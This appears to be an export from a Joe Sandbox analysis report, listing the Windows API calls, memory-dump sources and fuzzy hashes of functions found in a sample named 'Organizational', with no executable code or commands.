Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 7aabf7a86e5e71a7cd6330dd19a2e740d297e8d70b4da59516432ea7ae9c8f4e
Instruction ID: 90cc8a4a1ce9257a15e8be28b51386332a321038b782d67b0c0ee9359b3e8616
Opcode Fuzzy Hash: 7aabf7a86e5e71a7cd6330dd19a2e740d297e8d70b4da59516432ea7ae9c8f4e
Instruction Fuzzy Hash: 521182B255021DBEEF159F60CC85EE77F5DEF087A8F018115BB08A6090CB729C21EBA4

Function 00F141B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00F14282,?), ref: 00F141D3
GetProcAddress.KERNEL32(00000000), ref: 00F141DA
EncodePointer.KERNEL32(00000000), ref: 00F141E6
DecodePointer.KERNEL32(00000001,00F14282,?), ref: 00F14203

Strings

RoInitialize, xrefs: 00F141C2
combase.dll, xrefs: 00F141CE

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 9cc7272baac5280444369f35580dc50a19a6874ae8ec383b7f8198f1af03cb91
Instruction ID: 440a95a1751303628bc7abd09fe68a33aa33c06ac6f8c83a3a2571e7718215a0
Opcode Fuzzy Hash: 9cc7272baac5280444369f35580dc50a19a6874ae8ec383b7f8198f1af03cb91
Instruction Fuzzy Hash: 7DE01A71A90709AFEB912B78EC8DBA83664BB51F06FA04524F401E50F0DFB95488BF00

Function 00F1428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00F141A8), ref: 00F142A8
GetProcAddress.KERNEL32(00000000), ref: 00F142AF
EncodePointer.KERNEL32(00000000), ref: 00F142BA
DecodePointer.KERNEL32(00F141A8), ref: 00F142D5

Strings

RoUninitialize, xrefs: 00F14297
combase.dll, xrefs: 00F142A3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 5b12b73368b27510f835d46cea1271f700dbc4dd16634ecda3e43b1448c416ba
Instruction ID: ffe8d30876aee2473c8f0d6bc10fbeb59c31d08b67ef24f3b5bdc156ef50920f
Opcode Fuzzy Hash: 5b12b73368b27510f835d46cea1271f700dbc4dd16634ecda3e43b1448c416ba
Instruction Fuzzy Hash: 44E0B671950B18ABEB91AB64ED4DBD43A68BB40F12F904215F001E51B0CBB89588FF11

Function 00EF218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00EF21B8
GetWindowRect.USER32(?,?), ref: 00EF21F9
ScreenToClient.USER32(?,?), ref: 00EF2221
GetClientRect.USER32(?,?), ref: 00EF2350
GetWindowRect.USER32(?,?), ref: 00EF2369

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: e0d37380fa69f88838857c610957c73df82991b7a888f4092475f426e3b5c6b1
Instruction ID: 955c6082e3c45719821e94949ab65dbeac70008f2465e8eb85a21cc3d05f0a5d
Opcode Fuzzy Hash: e0d37380fa69f88838857c610957c73df82991b7a888f4092475f426e3b5c6b1
Instruction Fuzzy Hash: 8CB17B7990064EDBDF10CFA8C9807EDB7B1FF08314F149129EE59AB254EB34AA50DB64

Function 00F56A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F56BC6
_memmove.LIBCMT ref: 00F56B01

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

_memmove.LIBCMT ref: 00F56B74
_memmove.LIBCMT ref: 00F56C5B
_memmove.LIBCMT ref: 00F56C74
_memmove.LIBCMT ref: 00F56C90

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction ID: 59e3a650ffb15590072259a86a1e666f8b9c617d030709a0e3323df9703b67af
Opcode Fuzzy Hash: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction Fuzzy Hash: 0F61CE7160025AABCF11EF60CC82EFE37A4AF45309F444558FE69AB1D2DB399C49EB50

Function 00F70844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F7147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F7040D,?,?), ref: 00F71491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F7091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00F7095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00F70980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00F709A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00F709EC
RegCloseKey.ADVAPI32(00000000), ref: 00F709F9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 6101fc39172815dd2e7403d91c31c5dfdbd5710872ef0c3d1c9beb53b965b479
Instruction ID: 22b7979fe22d21c156dda33a995469a00ff749b92608dbeb0d65ea9569a31e34
Opcode Fuzzy Hash: 6101fc39172815dd2e7403d91c31c5dfdbd5710872ef0c3d1c9beb53b965b479
Instruction Fuzzy Hash: 97516931208204EFD710EB64CC85EAABBF9FF84310F04891DF589872A2DB35E905EB52

Function 00F75DD6 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00F75E38
GetMenuItemCount.USER32(00000000), ref: 00F75E6F
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00F75E97
GetMenuItemID.USER32(?,?), ref: 00F75F06
GetSubMenu.USER32(?,?), ref: 00F75F14
PostMessageW.USER32(?,00000111,?,00000000), ref: 00F75F65

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 45b8ebacf613a465678303c30eec4d0ee8bc4f1ab3f6a4e388b0dba84b7ee61b
Instruction ID: 312720d3f1c946cb497080554a4500ac56125b4c60aa1e078db23a0d43b97f49
Opcode Fuzzy Hash: 45b8ebacf613a465678303c30eec4d0ee8bc4f1ab3f6a4e388b0dba84b7ee61b
Instruction Fuzzy Hash: A951A075E00619AFCF11EF64C845AEEB7B5EF48720F10805AF905BB391CB74AE41AB91

Function 00F4F688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F4F6A2
VariantClear.OLEAUT32(00000013), ref: 00F4F714
VariantClear.OLEAUT32(00000000), ref: 00F4F76F
_memmove.LIBCMT ref: 00F4F799
VariantClear.OLEAUT32(?), ref: 00F4F7E6
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00F4F814

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 3864012c9efe730f2046337b542df83ae9d8733ae71dab0fd40360961988bb1f
Instruction ID: 5aff75e8661b54f014680dd671a9ae4180ea6c28279b38d9a9b8ae5c8e4d73aa
Opcode Fuzzy Hash: 3864012c9efe730f2046337b542df83ae9d8733ae71dab0fd40360961988bb1f
Instruction Fuzzy Hash: 54515BB5A00209EFDB14CF58C884AAABBB8FF4C354B15856AED59DB300D734E955CFA0

Function 00F529B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F529FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F52A4A
IsMenu.USER32(00000000), ref: 00F52A6A
CreatePopupMenu.USER32 ref: 00F52A9E
GetMenuItemCount.USER32(000000FF), ref: 00F52AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00F52B2D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 60ca0d53fcf6f86029bd6924854c310e7d26369ea9b9ed8a858609051b58fa2c
Instruction ID: 51a6e779898ac0ce24e5b461ba7a2349fcb15ce373eaab4a710ee9ba8c815869
Opcode Fuzzy Hash: 60ca0d53fcf6f86029bd6924854c310e7d26369ea9b9ed8a858609051b58fa2c
Instruction Fuzzy Hash: 2951D470A00309EFCF65CF68C888BAEBBF5EF46325F144219EE119B291D7749948EB51

Function 00EF1B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 00EF1B76
GetWindowRect.USER32(?,?), ref: 00EF1BDA
ScreenToClient.USER32(?,?), ref: 00EF1BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00EF1C08
EndPaint.USER32(?,?), ref: 00EF1C52

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: dc1b90ab0138d0010f27115571cdff4906bb72be687f60774869df7f311fd57a
Instruction ID: fc5aa52f63e22d5143d159c311a0b08a9b1e83bc5bd353dda967ae9585a9adb3
Opcode Fuzzy Hash: dc1b90ab0138d0010f27115571cdff4906bb72be687f60774869df7f311fd57a
Instruction Fuzzy Hash: A041AF31104309EFD710EF24DC88FBA7BE8EB85764F1406A9FA99972A1C7309805EB61

Function 00F67788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00F6550C,?,?,00000000,00000001), ref: 00F67796

Part of subcall function 00F6406C: GetWindowRect.USER32(?,?), ref: 00F6407F

GetDesktopWindow.USER32 ref: 00F677C0
GetWindowRect.USER32(00000000), ref: 00F677C7
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00F677F9

Part of subcall function 00F557FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F55877

GetCursorPos.USER32(?), ref: 00F67825
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00F67883

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 66dc501b104f617e2f543612b9ce0a017a3ee779e833ff53e55a25c074676624
Instruction ID: 1773e911c3d323d226e98ad9889d7f6b5db3d57c63147d9de50ac62cd4c00fa9
Opcode Fuzzy Hash: 66dc501b104f617e2f543612b9ce0a017a3ee779e833ff53e55a25c074676624
Instruction Fuzzy Hash: 8131B072508309ABD720EF24DC49FABB7A9FF88714F100919F59997191DB34E908DBA2

Function 00F49431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F48CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00F48CDE
Part of subcall function 00F48CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00F48CE8
Part of subcall function 00F48CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00F48CF7
Part of subcall function 00F48CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00F48CFE
Part of subcall function 00F48CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00F48D14

GetLengthSid.ADVAPI32(?,00000000,00F4904D), ref: 00F49482
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00F4948E
HeapAlloc.KERNEL32(00000000), ref: 00F49495
CopySid.ADVAPI32(00000000,00000000,?), ref: 00F494AE
GetProcessHeap.KERNEL32(00000000,00000000,00F4904D), ref: 00F494C2
HeapFree.KERNEL32(00000000), ref: 00F494C9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 28af2974835b056ad58e1cf806b382bde2e65a1bfbd18c7238b46eec6dc21e80
Instruction ID: 4fed96912b88a70a14a0f9be0c1274fe9441fb1134eda0a76d3486cfa1db5c55
Opcode Fuzzy Hash: 28af2974835b056ad58e1cf806b382bde2e65a1bfbd18c7238b46eec6dc21e80
Instruction Fuzzy Hash: D811AF32A05608EFDB50DFA4CC49BFF7BA9EB45325F508058EC4597260CB799905EB60

Function 00F491CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00F49200
OpenProcessToken.ADVAPI32(00000000), ref: 00F49207
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00F49216
CloseHandle.KERNEL32(00000004), ref: 00F49221
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00F49250
DestroyEnvironmentBlock.USERENV(00000000), ref: 00F49264

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 03bf954ec50b0c319e0b09a4fc39818a87b4b63e62de7519eb94572dc61a44b1
Instruction ID: ba98c8524a4653a9992c2b5be369d1d2eb7a36f983e00939275deba17347bdfc
Opcode Fuzzy Hash: 03bf954ec50b0c319e0b09a4fc39818a87b4b63e62de7519eb94572dc61a44b1
Instruction Fuzzy Hash: CC11597260520EBBDF418F94ED49FEE7BA9EF48314F044014FE04A2160D7B69E64EB60

Function 00F4C329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00F4C34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 00F4C35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00F4C366
ReleaseDC.USER32(00000000,00000000), ref: 00F4C36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00F4C385
MulDiv.KERNEL32(000009EC,?,?), ref: 00F4C397

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 8a5a01f602a119b54e473a56bc1b312cb6552dc5d94ca61015641113dfaed070
Instruction ID: 7590a860a79608f3ea3132b3b540e81ce4764a474bd6f1587324b349b9eafcd4
Opcode Fuzzy Hash: 8a5a01f602a119b54e473a56bc1b312cb6552dc5d94ca61015641113dfaed070
Instruction Fuzzy Hash: 59014875E01319BBDF505FA59C49A6EBFB8EF48761F004065FE04A7250DA709D14DF90

Function 00F7C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00EF16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00EF1729
Part of subcall function 00EF16CF: SelectObject.GDI32(?,00000000), ref: 00EF1738
Part of subcall function 00EF16CF: BeginPath.GDI32(?), ref: 00EF174F
Part of subcall function 00EF16CF: SelectObject.GDI32(?,00000000), ref: 00EF1778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00F7C57C
LineTo.GDI32(00000000,00000003,?), ref: 00F7C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00F7C59E
LineTo.GDI32(00000000,00000000,?), ref: 00F7C5AE
EndPath.GDI32(00000000), ref: 00F7C5BE
StrokePath.GDI32(00000000), ref: 00F7C5CE

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 08b65e22bca0fb5807e840679341d94702640975e763d2046389289a70a6c4ce
Instruction ID: 0b64f4153ccb0b3ae948bb873961105636ca093385a1d629c78baddce1a4e870
Opcode Fuzzy Hash: 08b65e22bca0fb5807e840679341d94702640975e763d2046389289a70a6c4ce
Instruction Fuzzy Hash: 5B11CC7640410DBFDF129F90DC88EEA7FADEF04364F048155BA185A1A0D771AD59EBA0

Function 00F107BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00F107EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 00F107F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00F107FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00F1080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 00F10812
MapVirtualKeyW.USER32(00000012,00000000), ref: 00F1081A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 929bf9e1c727372f44995652ab55c2530a4dbff37264da3bde72de4ba6b9d1d7
Instruction ID: dda21fdf5d919ecb9232fb8cec6a45635b2e30a4347c5cb9817ffd475075c6b2
Opcode Fuzzy Hash: 929bf9e1c727372f44995652ab55c2530a4dbff37264da3bde72de4ba6b9d1d7
Instruction Fuzzy Hash: 92016CB09017597DE3008F5A8C85B52FFA8FF59354F00411BA15C47941C7F5A868CBE5

Function 00F559A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00F559B4
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00F559CA
GetWindowThreadProcessId.USER32(?,?), ref: 00F559D9
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F559E8
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F559F2
